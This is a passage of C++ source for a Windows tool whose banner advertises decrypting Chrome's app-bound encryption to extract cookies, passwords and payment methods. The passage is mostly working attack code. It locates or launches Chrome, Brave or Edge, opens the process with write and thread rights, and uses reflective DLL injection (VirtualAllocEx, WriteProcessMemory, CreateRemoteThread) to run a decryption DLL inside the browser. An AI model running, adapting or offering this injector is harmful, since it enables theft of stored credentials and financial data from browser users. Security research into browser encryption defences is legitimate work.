return h_; } 111 | void reset(HANDLE h = nullptr) 112 | { 113 | if (h_) 114 | CloseHandle(h_); 115 | h_ = (h == INVALID_HANDLE_VALUE) ? nullptr : h; 116 | if (h_ && verbose) 117 | { 118 | std::ostringstream oss; 119 | oss << "HandleGuard: reset to handle "; 120 | print_hex_ptr(oss, h_); 121 | debug(oss.str()); 122 | } 123 | } 124 | explicit operator bool() const { return h_ != nullptr; } 125 | HandleGuard(const HandleGuard &) = delete; 126 | HandleGuard &operator=(const HandleGuard &) = delete; 127 | HandleGuard(HandleGuard &&other) noexcept : h_(other.h_), context_msg(std::move(other.context_msg)) { other.h_ = nullptr; } 128 | HandleGuard &operator=(HandleGuard &&other) noexcept 129 | { 130 | if (this != &other) 131 | { 132 | if (h_) 133 | CloseHandle(h_); 134 | h_ = other.h_; 135 | context_msg = std::move(other.context_msg); 136 | other.h_ = nullptr; 137 | } 138 | return *this; 139 | } 140 | }; 141 | 142 | void print_status(const std::string &tag, const std::string &msg) 143 | { 144 | WORD original_attributes = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE; 145 | CONSOLE_SCREEN_BUFFER_INFO console_info; 146 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 147 | if (GetConsoleScreenBufferInfo(hConsole, &console_info)) 148 | original_attributes = console_info.wAttributes; 149 | 150 | WORD col = original_attributes; 151 | if (tag == "[+]") 152 | col = FOREGROUND_GREEN | FOREGROUND_INTENSITY; 153 | else if (tag == "[-]") 154 | col = FOREGROUND_RED | FOREGROUND_INTENSITY; 155 | else if (tag == "[*]") 156 | col = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY; 157 | else if (tag == "[!]") 158 | col = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY; 159 | 160 | SetConsoleTextAttribute(hConsole, col); 161 | std::cout << tag; 162 | SetConsoleTextAttribute(hConsole, original_attributes); 163 | std::cout << " " << msg << std::endl; 164 | } 165 | 166 | static const char *ArchName(USHORT m) 167 | { 168 | switch (m) 169 | { 170 | case IMAGE_FILE_MACHINE_I386: 171 | return "x86"; 172 | case IMAGE_FILE_MACHINE_AMD64: 173 | return "x64"; 174 | case IMAGE_FILE_MACHINE_ARM64: 175 | return "ARM64"; 176 | default: 177 | return "Unknown"; 178 | } 179 | } 180 | constexpr USHORT MyArch = 181 | #if defined(_M_IX86) 182 | IMAGE_FILE_MACHINE_I386 183 | #elif defined(_M_X64) 184 | IMAGE_FILE_MACHINE_AMD64 185 | #elif defined(_M_ARM64) 186 | IMAGE_FILE_MACHINE_ARM64 187 | #else 188 | IMAGE_FILE_MACHINE_UNKNOWN 189 | #endif 190 | ; 191 | 192 | bool GetProcessArchitecture(HANDLE hProc, USHORT &arch) 193 | { 194 | auto fnIsWow64Process2 = (decltype(&IsWow64Process2))GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "IsWow64Process2"); 195 | if (fnIsWow64Process2) 196 | { 197 | USHORT processMachine = IMAGE_FILE_MACHINE_UNKNOWN, nativeMachine = IMAGE_FILE_MACHINE_UNKNOWN; 198 | if (!fnIsWow64Process2(hProc, &processMachine, &nativeMachine)) 199 | { 200 | debug("IsWow64Process2 call failed. Error: " + std::to_string(GetLastError())); 201 | return false; 202 | } 203 | arch = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) ? nativeMachine : processMachine; 204 | debug(std::string("IsWow64Process2: processMachine=") + ArchName(processMachine) + ", nativeMachine=" + ArchName(nativeMachine) + ", effectiveArch=" + ArchName(arch)); 205 | return true; 206 | } 207 | BOOL isWow64 = FALSE; 208 | if (!IsWow64Process(hProc, &isWow64)) 209 | { 210 | debug("IsWow64Process call failed. Error: " + std::to_string(GetLastError())); 211 | return false; 212 | } 213 | #if defined(_M_X64) 214 | arch = isWow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64; 215 | #elif defined(_M_ARM64) 216 | arch = isWow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_ARM64; 217 | #elif defined(_M_IX86) 218 | arch = IMAGE_FILE_MACHINE_I386; 219 | if (isWow64) 220 | { 221 | debug("Warning: 32-bit injector running on a 64-bit OS (or WOW64 detected unexpectedly). Target is likely x64 if IsWow64Process is true."); 222 | } 223 | #else 224 | arch = IMAGE_FILE_MACHINE_UNKNOWN; 225 | return false; 226 | #endif 227 | debug(std::string("IsWow64Process fallback: isWow64=") + (isWow64 ? "TRUE" : "FALSE") + ", effectiveArch=" + ArchName(arch)); 228 | return true; 229 | } 230 | 231 | bool CheckArchMatch(HANDLE hProc) 232 | { 233 | USHORT targetArch = IMAGE_FILE_MACHINE_UNKNOWN; 234 | if (!GetProcessArchitecture(hProc, targetArch)) 235 | { 236 | print_status("[-]", "Failed to determine target architecture"); 237 | return false; 238 | } 239 | if (targetArch != MyArch) 240 | { 241 | print_status("[-]", std::string("Architecture mismatch: Injector is ") + ArchName(MyArch) + " but target is " + ArchName(targetArch)); 242 | return false; 243 | } 244 | debug("Architecture match: Injector=" + std::string(ArchName(MyArch)) + ", Target=" + std::string(ArchName(targetArch))); 245 | return true; 246 | } 247 | 248 | void DisplayBanner() 249 | { 250 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 251 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); 252 | std::cout << "------------------------------------------------" << std::endl; 253 | std::cout << "| Chrome App-Bound Encryption Decryption |" << std::endl; 254 | std::cout << "| Reflective DLL Process Injection |" << std::endl; 255 | std::cout << "| Cookies / Passwords / Payment Methods |" << std::endl; 256 | std::cout << "| v0.10.0 by @xaitax |" << std::endl; 257 | std::cout << "------------------------------------------------" << std::endl 258 | << std::endl; 259 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 260 | } 261 | 262 | void CleanupPreviousRun() 263 | { 264 | debug("CleanupPreviousRun: attempting to remove temp files"); 265 | fs::path tempDir; 266 | try 267 | { 268 | tempDir = fs::temp_directory_path(); 269 | } 270 | catch (const fs::filesystem_error &e) 271 | { 272 | debug("CleanupPreviousRun: fs::temp_directory_path() failed: " + std::string(e.what()) + ". Skipping cleanup of some temp files."); 273 | return; 274 | } 275 | 276 | const char *files_to_delete[] = {"chrome_decrypt.log", "chrome_appbound_key.txt", SESSION_CONFIG_FILE_NAME_INJECTOR}; 277 | for (const char *fname : files_to_delete) 278 | { 279 | fs::path file_path = tempDir / fname; 280 | std::error_code ec; 281 | if (fs::exists(file_path)) 282 | { 283 | debug("Deleting " + file_path.u8string()); 284 | if (!fs::remove(file_path, ec)) 285 | { 286 | debug("Failed to delete temp file: " + file_path.u8string() + ". Error: " + ec.message()); 287 | } 288 | } 289 | } 290 | } 291 | 292 | std::optional GetProcessIdByName(const std::wstring &procName) 293 | { 294 | debug("GetProcessIdByName: snapshotting processes for " + WStringToUtf8(procName)); 295 | HandleGuard snap(CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0), "CreateToolhelp32Snapshot"); 296 | if (!snap) 297 | { 298 | debug("GetProcessIdByName: CreateToolhelp32Snapshot failed. Error: " + std::to_string(GetLastError())); 299 | return std::nullopt; 300 | } 301 | PROCESSENTRY32W entry{}; 302 | entry.dwSize = sizeof(entry); 303 | if (Process32FirstW(snap.get(), &entry)) 304 | { 305 | do 306 | { 307 | if (procName == entry.szExeFile) 308 | { 309 | debug("Found process " + WStringToUtf8(procName) + " PID=" + std::to_string(entry.th32ProcessID)); 310 | return entry.th32ProcessID; 311 | } 312 | } while (Process32NextW(snap.get(), &entry)); 313 | } 314 | else 315 | { 316 | if (GetLastError() != ERROR_NO_MORE_FILES) 317 | debug("GetProcessIdByName: Process32FirstW failed. Error: " + std::to_string(GetLastError())); 318 | } 319 | debug("GetProcessIdByName: Process " + WStringToUtf8(procName) + " not found."); 320 | return std::nullopt; 321 | } 322 | 323 | std::string GetPayloadDllPathUtf8() 324 | { 325 | wchar_t currentExePathRaw[MAX_PATH]; 326 | DWORD len = GetModuleFileNameW(NULL, currentExePathRaw, MAX_PATH); 327 | if (len == 0 || (len == MAX_PATH && GetLastError() == ERROR_INSUFFICIENT_BUFFER)) 328 | { 329 | debug("GetPayloadDllPathUtf8: GetModuleFileNameW failed. Error: " + std::to_string(GetLastError())); 330 | return ""; 331 | } 332 | fs::path dllPathFs = fs::path(currentExePathRaw).parent_path() / L"chrome_decrypt.dll"; 333 | std::string dllPathStr = dllPathFs.u8string(); 334 | debug("GetPayloadDllPathUtf8: DLL path determined as: " + dllPathStr); 335 | return dllPathStr; 336 | } 337 | 338 | DWORD RvaToOffset_Injector(DWORD dwRva, PIMAGE_NT_HEADERS64 pNtHeaders, LPVOID lpFileBase) 339 | { 340 | PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); 341 | if (pNtHeaders->FileHeader.NumberOfSections == 0) 342 | { 343 | if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders) 344 | return dwRva; 345 | else 346 | return 0; 347 | } 348 | if (dwRva < pSectionHeader[0].VirtualAddress) 349 | { 350 | if (dwRva < pNtHeaders->OptionalHeader.SizeOfHeaders) 351 | return dwRva; 352 | else 353 | return 0; 354 | } 355 | for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) 356 | { 357 | if (dwRva >= pSectionHeader[i].VirtualAddress && 358 | dwRva < (pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)) 359 | { 360 | return (pSectionHeader[i].PointerToRawData + (dwRva - pSectionHeader[i].VirtualAddress)); 361 | } 362 | } 363 | return 0; 364 | } 365 | 366 | DWORD GetReflectiveLoaderFileOffset(LPVOID lpFileBuffer, USHORT expectedMachine) 367 | { 368 | PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpFileBuffer; 369 | if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 370 | { 371 | debug("RDI Offset: Invalid DOS signature."); 372 | return 0; 373 | } 374 | PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)((ULONG_PTR)lpFileBuffer + pDosHeader->e_lfanew); 375 | if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) 376 | { 377 | debug("RDI Offset: Invalid NT signature."); 378 | return 0; 379 | } 380 | if (pNtHeaders->FileHeader.Machine != expectedMachine) 381 | { 382 | std::ostringstream oss_mach; 383 | oss_mach << "RDI Offset: DLL is not for target machine. Expected: 0x" << std::hex << expectedMachine << ", Got: 0x" << pNtHeaders->FileHeader.Machine; 384 | debug(oss_mach.str()); 385 | return 0; 386 | } 387 | if (pNtHeaders->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC) 388 | { 389 | debug("RDI Offset: DLL is not PE32+."); 390 | return 0; 391 | } 392 | 393 | PIMAGE_DATA_DIRECTORY pExportDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 394 | if (pExportDataDir->VirtualAddress == 0 || pExportDataDir->Size == 0) 395 | { 396 | debug("RDI Offset: No export directory found."); 397 | return 0; 398 | } 399 | 400 | DWORD exportDirFileOffset = RvaToOffset_Injector(pExportDataDir->VirtualAddress, pNtHeaders, lpFileBuffer); 401 | if (exportDirFileOffset == 0 && pExportDataDir->VirtualAddress != 0) 402 | { 403 | debug("RDI Offset: Could not convert export directory RVA to offset."); 404 | return 0; 405 | } 406 | PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)lpFileBuffer + exportDirFileOffset); 407 | 408 | if (pExportDir->AddressOfNames == 0 || pExportDir->AddressOfNameOrdinals == 0 || pExportDir->AddressOfFunctions == 0) 409 | { 410 | debug("RDI Offset: Export directory contains null RVA(s) for names, ordinals, or functions."); 411 | return 0; 412 | } 413 | 414 | DWORD namesOffset = RvaToOffset_Injector(pExportDir->AddressOfNames, pNtHeaders, lpFileBuffer); 415 | DWORD ordinalsOffset = RvaToOffset_Injector(pExportDir->AddressOfNameOrdinals, pNtHeaders, lpFileBuffer); 416 | DWORD functionsOffset = RvaToOffset_Injector(pExportDir->AddressOfFunctions, pNtHeaders, lpFileBuffer); 417 | 418 | if ((namesOffset == 0 && pExportDir->AddressOfNames != 0) || 419 | (ordinalsOffset == 0 && pExportDir->AddressOfNameOrdinals != 0) || 420 | (functionsOffset == 0 && pExportDir->AddressOfFunctions != 0)) 421 | { 422 | debug("RDI Offset: Failed to convert one or more export RVAs to offset."); 423 | return 0; 424 | } 425 | 426 | DWORD *pNamesRva = (DWORD *)((ULONG_PTR)lpFileBuffer + namesOffset); 427 | WORD *pOrdinals = (WORD *)((ULONG_PTR)lpFileBuffer + ordinalsOffset); 428 | DWORD *pAddressesRva = (DWORD *)((ULONG_PTR)lpFileBuffer + functionsOffset); 429 | 430 | for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) 431 | { 432 | if (pNamesRva[i] == 0) 433 | continue; 434 | DWORD funcNameFileOffset = RvaToOffset_Injector(pNamesRva[i], pNtHeaders, lpFileBuffer); 435 | if (funcNameFileOffset == 0 && pNamesRva[i] != 0) 436 | continue; 437 | char *funcName = (char *)((ULONG_PTR)lpFileBuffer + funcNameFileOffset); 438 | 439 | if (strcmp(funcName, "ReflectiveLoader") == 0) 440 | { 441 | if (pOrdinals[i] >= pExportDir->NumberOfFunctions) 442 | return 0; 443 | if (pAddressesRva[pOrdinals[i]] == 0) 444 | return 0; 445 | DWORD functionFileOffset = RvaToOffset_Injector(pAddressesRva[pOrdinals[i]], pNtHeaders, lpFileBuffer); 446 | if (functionFileOffset == 0 && pAddressesRva[pOrdinals[i]] != 0) 447 | return 0; 448 | return functionFileOffset; 449 | } 450 | } 451 | debug("RDI Offset: ReflectiveLoader export not found."); 452 | return 0; 453 | } 454 | 455 | bool InjectWithReflectiveLoader(HANDLE proc, const std::string &dllPathUtf8, USHORT targetArch) 456 | { 457 | debug("InjectWithReflectiveLoader: begin for DLL: " + dllPathUtf8); 458 | 459 | std::ifstream dllFile(dllPathUtf8, std::ios::binary | std::ios::ate); 460 | if (!dllFile.is_open()) 461 | { 462 | debug("RDI: Failed to open DLL file: " + dllPathUtf8); 463 | return false; 464 | } 465 | std::streamsize fileSize = dllFile.tellg(); 466 | dllFile.seekg(0, std::ios::beg); 467 | std::vector dllBuffer(static_cast(fileSize)); 468 | if (!dllFile.read(reinterpret_cast(dllBuffer.data()), fileSize)) 469 | { 470 | debug("RDI: Failed to read DLL file into buffer."); 471 | return false; 472 | } 473 | dllFile.close(); 474 | debug("RDI: DLL read into local buffer. Size: " + std::to_string(fileSize) + " bytes."); 475 | 476 | DWORD reflectiveLoaderOffset = GetReflectiveLoaderFileOffset(dllBuffer.data(), targetArch); 477 | if (reflectiveLoaderOffset == 0) 478 | { 479 | debug("RDI: GetReflectiveLoaderFileOffset failed."); 480 | return false; 481 | } 482 | std::ostringstream oss_rlo; 483 | oss_rlo << "RDI: ReflectiveLoader file offset: 0x" << std::hex << reflectiveLoaderOffset; 484 | debug(oss_rlo.str()); 485 | 486 | LPVOID remoteMem = VirtualAllocEx(proc, nullptr, dllBuffer.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 487 | if (!remoteMem) 488 | { 489 | debug("RDI: VirtualAllocEx failed. Error: " + std::to_string(GetLastError())); 490 | return false; 491 | } 492 | std::ostringstream oss_rem; 493 | print_hex_ptr(oss_rem, remoteMem); 494 | debug("RDI: Memory allocated in target at " + oss_rem.str() + " (Size: " + std::to_string(dllBuffer.size()) + " bytes)"); 495 | 496 | if (!WriteProcessMemory(proc, remoteMem, dllBuffer.data(), dllBuffer.size(), nullptr)) 497 | { 498 | debug("RDI: WriteProcessMemory failed. Error: " + std::to_string(GetLastError())); 499 | VirtualFreeEx(proc, remoteMem, 0, MEM_RELEASE); 500 | return false; 501 | } 502 | debug("RDI: DLL written to target memory."); 503 | 504 | ULONG_PTR remoteLoaderAddr = reinterpret_cast(remoteMem) + reflectiveLoaderOffset; 505 | std::ostringstream oss_rla; 506 | oss_rla << "RDI: Calculated remote ReflectiveLoader address: 0x" << std::hex << remoteLoaderAddr; 507 | debug(oss_rla.str()); 508 | 509 | HandleGuard th(CreateRemoteThread(proc, nullptr, 0, (LPTHREAD_START_ROUTINE)remoteLoaderAddr, nullptr, 0, nullptr), "RemoteReflectiveLoaderThread"); 510 | if (!th) 511 | { 512 | debug("RDI: CreateRemoteThread for ReflectiveLoader failed. Error: " + std::to_string(GetLastError())); 513 | VirtualFreeEx(proc, remoteMem, 0, MEM_RELEASE); 514 | return false; 515 | } 516 | debug("RDI: Waiting for remote ReflectiveLoader thread to complete (max " + std::to_string(INJECTOR_REMOTE_THREAD_WAIT_MS / 1000) + "s)..."); 517 | DWORD wait_res = WaitForSingleObject(th.get(), INJECTOR_REMOTE_THREAD_WAIT_MS); 518 | 519 | DWORD exitCode = 0; 520 | GetExitCodeThread(th.get(), &exitCode); 521 | std::ostringstream oss_exit; 522 | oss_exit << "RDI: Remote thread exit code: 0x" << std::hex << exitCode; 523 | debug(oss_exit.str()); 524 | 525 | if (wait_res == WAIT_TIMEOUT) 526 | debug("RDI: Remote ReflectiveLoader thread timed out."); 527 | else if (wait_res == WAIT_OBJECT_0) 528 | debug("RDI: Remote ReflectiveLoader thread finished."); 529 | else 530 | debug("RDI: WaitForSingleObject on ReflectiveLoader thread failed. Error: " + std::to_string(GetLastError())); 531 | 532 | debug("InjectWithReflectiveLoader: done"); 533 | return (wait_res == WAIT_OBJECT_0 && exitCode != 0); 534 | } 535 | 536 | struct BrowserDetails 537 | { 538 | std::wstring processName; 539 | std::wstring defaultExePath; 540 | }; 541 | const std::map browserConfigMap = { 542 | {L"chrome", {L"chrome.exe", L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"}}, 543 | {L"brave", {L"brave.exe", L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"}}, 544 | {L"edge", {L"msedge.exe", L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"}}}; 545 | 546 | bool StartBrowserAndWait(const std::wstring &exePath, DWORD &outPid) 547 | { 548 | debug("StartBrowserAndWait: attempting to launch: " + WStringToUtf8(exePath)); 549 | STARTUPINFOW si{}; 550 | PROCESS_INFORMATION pi{}; 551 | si.cb = sizeof(si); 552 | if (!CreateProcessW(exePath.c_str(), nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi)) 553 | { 554 | debug("CreateProcessW failed for " + WStringToUtf8(exePath) + ". Error: " + std::to_string(GetLastError())); 555 | return false; 556 | } 557 | HandleGuard processHandle(pi.hProcess, "BrowserProcessHandle"); 558 | HandleGuard threadHandle(pi.hThread, "BrowserMainThreadHandle"); 559 | debug("Waiting " + std::to_string(BROWSER_INIT_WAIT_MS / 1000) + "s for browser to initialize..."); 560 | Sleep(BROWSER_INIT_WAIT_MS); 561 | outPid = pi.dwProcessId; 562 | debug("Browser started PID=" + std::to_string(outPid)); 563 | return true; 564 | } 565 | 566 | void PrintUsage() 567 | { 568 | HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); 569 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); 570 | std::wcout << L"Usage:\n" 571 | << L" chrome_inject.exe [options] \n\n" 572 | << L"Options:\n" 573 | << L" --start-browser|-s Auto-launch browser if not running\n" 574 | << L" --output-path|-o Directory for output files (default: .\\output\\)\n" 575 | << L" --verbose|-v Enable verbose debug output from the injector\n" 576 | << L" --help|-h Show this help message\n"; 577 | SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); 578 | } 579 | 580 | int wmain(int argc, wchar_t *argv[]) 581 | { 582 | DisplayBanner(); 583 | bool autoStartBrowser = false; 584 | bool browserSuccessfullyStartedByInjector = false; 585 | std::wstring browserTypeArg; 586 | 587 | debug("wmain: parsing arguments"); 588 | for (int i = 1; i < argc; ++i) 589 | { 590 | std::wstring_view arg = argv[i]; 591 | if (arg == L"--start-browser" || arg == L"-s") 592 | { 593 | autoStartBrowser = true; 594 | debug("Auto-start browser enabled."); 595 | } 596 | else if (arg == L"--verbose" || arg == L"-v") 597 | { 598 | verbose = true; 599 | std::cout << "[#] Verbose mode enabled." << std::endl; 600 | } 601 | else if ((arg == L"--output-path" || arg == L"-o") && i + 1 < argc) 602 | { 603 | g_customOutputPathArg = argv[++i]; 604 | debug("Custom output path argument: " + WStringToUtf8(g_customOutputPathArg)); 605 | } 606 | else if (browserTypeArg.empty() && !arg.empty() && arg[0] != L'-') 607 | { 608 | browserTypeArg = arg; 609 | std::transform(browserTypeArg.begin(), browserTypeArg.end(), browserTypeArg.begin(), [](wchar_t wc) 610 | { return static_cast(std::towlower(wc)); }); 611 | debug("Browser type argument: " + WStringToUtf8(browserTypeArg)); 612 | } 613 | else if (arg == L"--help" || arg == L"-h") 614 | { 615 | PrintUsage(); 616 | return 0; 617 | } 618 | else 619 | { 620 | print_status("[!]", "Unknown or misplaced argument: " + WStringToUtf8(arg) + ". Use --help for usage."); 621 | return 1; 622 | } 623 | } 624 | 625 | if (browserTypeArg.empty()) 626 | { 627 | PrintUsage(); 628 | return 1; 629 | } 630 | 631 | CleanupPreviousRun(); 632 | 633 | fs::path resolvedOutputPath; 634 | if (!g_customOutputPathArg.empty()) 635 | { 636 | resolvedOutputPath = fs::absolute(g_customOutputPathArg); 637 | } 638 | else 639 | { 640 | resolvedOutputPath = fs::current_path() / "output"; 641 | } 642 | debug("Resolved output path: " + resolvedOutputPath.u8string()); 643 | std::error_code ec_dir; 644 | if (!fs::exists(resolvedOutputPath)) 645 | { 646 | if (!fs::create_directories(resolvedOutputPath, ec_dir)) 647 | { 648 | print_status("[-]", "Failed to create output directory: " + resolvedOutputPath.u8string() + ". Error: " + ec_dir.message()); 649 | return 1; 650 | } 651 | debug("Created output directory: " + resolvedOutputPath.u8string()); 652 | } 653 | 654 | fs::path configFilePath; 655 | try 656 | { 657 | configFilePath = fs::temp_directory_path() / SESSION_CONFIG_FILE_NAME_INJECTOR; 658 | } 659 | catch (const fs::filesystem_error &e) 660 | { 661 | print_status("[-]", "Failed to get temp directory path: " + std::string(e.what())); 662 | return 1; 663 | } 664 | debug("Writing session config to: " + configFilePath.u8string()); 665 | { 666 | std::ofstream configFileOut(configFilePath, std::ios::trunc | std::ios::binary); 667 | if (configFileOut) 668 | { 669 | std::string outputPathUtf8 = resolvedOutputPath.u8string(); 670 | configFileOut.write(outputPathUtf8.c_str(), outputPathUtf8.length()); 671 | } 672 | else 673 | { 674 | print_status("[-]", "Failed to write session config file: " + configFilePath.u8string()); 675 | return 1; 676 | } 677 | } 678 | 679 | HandleGuard completionEvent(CreateEventW(NULL, TRUE, FALSE, COMPLETION_EVENT_NAME_INJECTOR), "CompletionEvent"); 680 | if (!completionEvent) 681 | { 682 | print_status("[-]", "Failed to create completion event. Error: " + std::to_string(GetLastError())); 683 | return 1; 684 | } 685 | debug("Created completion event: " + WStringToUtf8(COMPLETION_EVENT_NAME_INJECTOR)); 686 | ResetEvent(completionEvent.get()); 687 | 688 | auto browserIt = browserConfigMap.find(browserTypeArg); 689 | if (browserIt == browserConfigMap.end()) 690 | { 691 | print_status("[-]", "Unsupported browser type: " + WStringToUtf8(browserTypeArg)); 692 | return 1; 693 | } 694 | const BrowserDetails currentBrowserInfo = browserIt->second; 695 | std::string browserDisplayName = WStringToUtf8(browserTypeArg); 696 | if (!browserDisplayName.empty()) 697 | browserDisplayName[0] = static_cast(std::toupper(static_cast(browserDisplayName[0]))); 698 | debug("Target: " + browserDisplayName + ", Process: " + WStringToUtf8(currentBrowserInfo.processName) + ", Default Exe: " + WStringToUtf8(currentBrowserInfo.defaultExePath)); 699 | 700 | DWORD targetPid = 0; 701 | if (auto optPid = GetProcessIdByName(currentBrowserInfo.processName)) 702 | targetPid = *optPid; 703 | 704 | if (targetPid == 0 && autoStartBrowser) 705 | { 706 | print_status("[*]", browserDisplayName + " not running, launching..."); 707 | if (StartBrowserAndWait(currentBrowserInfo.defaultExePath, targetPid)) 708 | { 709 | browserSuccessfullyStartedByInjector = true; 710 | std::string versionStr = "N/A"; 711 | debug("Retrieving version info for: " + WStringToUtf8(currentBrowserInfo.defaultExePath)); 712 | DWORD versionHandleUnused = 0; 713 | DWORD versionInfoSize = GetFileVersionInfoSizeW(currentBrowserInfo.defaultExePath.c_str(), &versionHandleUnused); 714 | if (versionInfoSize > 0) 715 | { 716 | std::vector versionData(versionInfoSize); 717 | if (GetFileVersionInfoW(currentBrowserInfo.defaultExePath.c_str(), 0, versionInfoSize, versionData.data())) 718 | { 719 | UINT ffiLen = 0; 720 | VS_FIXEDFILEINFO *ffi = nullptr; 721 | if (VerQueryValueW(versionData.data(), L"\\", (LPVOID *)&ffi, &ffiLen) && ffi) 722 | { 723 | versionStr = std::to_string(HIWORD(ffi->dwProductVersionMS)) + "." + 724 | std::to_string(LOWORD(ffi->dwProductVersionMS)) + "." + 725 | std::to_string(HIWORD(ffi->dwProductVersionLS)) + "." + 726 | std::to_string(LOWORD(ffi->dwProductVersionLS)); 727 | debug("Version query successful: " + versionStr); 728 | } 729 | else 730 | debug("VerQueryValueW failed. Error: " + std::to_string(GetLastError())); 731 | } 732 | else 733 | debug("GetFileVersionInfoW failed. Error: " + std::to_string(GetLastError())); 734 | } 735 | else 736 | debug("GetFileVersionInfoSizeW failed or returned 0. Error: " + std::to_string(GetLastError())); 737 | print_status("[+]", browserDisplayName + " (v. " + versionStr + ") launched w/ PID " + std::to_string(targetPid)); 738 | } 739 | else 740 | { 741 | print_status("[-]", "Failed to start " + browserDisplayName); 742 | return 1; 743 | } 744 | } 745 | if (targetPid == 0) 746 | { 747 | print_status("[-]", browserDisplayName + " not running and auto-start not requested or failed."); 748 | return 1; 749 | } 750 | 751 | debug("Opening process PID=" + std::to_string(targetPid)); 752 | HandleGuard targetProcessHandle(OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, targetPid), "TargetProcessHandle"); 753 | if (!targetProcessHandle) 754 | { 755 | print_status("[-]", "OpenProcess failed for PID " + std::to_string(targetPid) + ". Error: " + std::to_string(GetLastError())); 756 | return 1; 757 | } 758 | USHORT currentTargetArch = IMAGE_FILE_MACHINE_UNKNOWN; 759 | if (!GetProcessArchitecture(targetProcessHandle.get(), currentTargetArch)) 760 | { 761 | print_status("[-]", "Failed to determine target process architecture for DLL selection."); 762 | return 1; 763 | } 764 | 765 | if (!CheckArchMatch(targetProcessHandle.get())) 766 | return 1; 767 | 768 | std::string dllPathUtf8 = GetPayloadDllPathUtf8(); 769 | if (dllPathUtf8.empty() || !fs::exists(dllPathUtf8)) 770 | { 771 | print_status("[-]", "chrome_decrypt.dll not found. Expected near injector: " + (dllPathUtf8.empty() ? "" : dllPathUtf8)); 772 | return 1; 773 | } 774 | 775 | bool injectedSuccessfully = false; 776 | std::string usedInjectionMethodDesc = "Reflective DLL Injection (RDI)"; 777 | 778 | injectedSuccessfully = InjectWithReflectiveLoader(targetProcessHandle.get(), dllPathUtf8, currentTargetArch); 779 | 780 | if (!injectedSuccessfully) 781 | { 782 | print_status("[-]", "DLL injection failed via " + usedInjectionMethodDesc); 783 | return 1; 784 | } 785 | print_status("[+]", "DLL injected via " + usedInjectionMethodDesc); 786 | 787 | print_status("[*]", "Waiting for DLL decryption tasks to complete (max " + std::to_string(DLL_COMPLETION_TIMEOUT_MS / 1000) + "s)..."); 788 | DWORD waitResult = WaitForSingleObject(completionEvent.get(), DLL_COMPLETION_TIMEOUT_MS); 789 | 790 | if (waitResult == WAIT_OBJECT_0) 791 | print_status("[+]", "DLL signaled completion."); 792 | else if (waitResult == WAIT_TIMEOUT) 793 | print_status("[-]", "Timeout waiting for DLL completion. Log may be incomplete or DLL failed."); 794 | else 795 | print_status("[-]", "Error waiting for DLL completion event: " + std::to_string(GetLastError())); 796 | 797 | fs::path logFilePathFull; 798 | try 799 | { 800 | logFilePathFull = fs::temp_directory_path() / "chrome_decrypt.log"; 801 | } 802 | catch (const fs::filesystem_error &e) 803 | { 804 | print_status("[-]", "Failed to get temp path for log file: " + std::string(e.what())); 805 | } 806 | 807 | if (!logFilePathFull.empty() && fs::exists(logFilePathFull)) 808 | { 809 | debug("Attempting to display log file: " + logFilePathFull.u8string()); 810 | std::ifstream ifs(logFilePathFull); 811 | if (ifs.is_open()) 812 | { 813 | std::string line; 814 | CONSOLE_SCREEN_BUFFER_INFO consoleInfo; 815 | HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 816 | WORD originalAttributes = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE; 817 | if (GetConsoleScreenBufferInfo(hStdOut, &consoleInfo)) 818 | { 819 | originalAttributes = consoleInfo.wAttributes; 820 | } 821 | std::cout << std::endl; 822 | while (std::getline(ifs, line)) 823 | { 824 | if (line.find("[+] Terminated process:") != std::string::npos && !verbose) 825 | { 826 | continue; 827 | } 828 | size_t currentPos = 0; 829 | while (currentPos < line.length()) 830 | { 831 | size_t tagStartPos = line.find('[', currentPos); 832 | SetConsoleTextAttribute(hStdOut, originalAttributes); 833 | std::cout << line.substr(currentPos, tagStartPos - currentPos); 834 | if (tagStartPos == std::string::npos) 835 | break; 836 | size_t tagEndPos = line.find(']', tagStartPos); 837 | if (tagEndPos == std::string::npos) 838 | { 839 | std::cout << 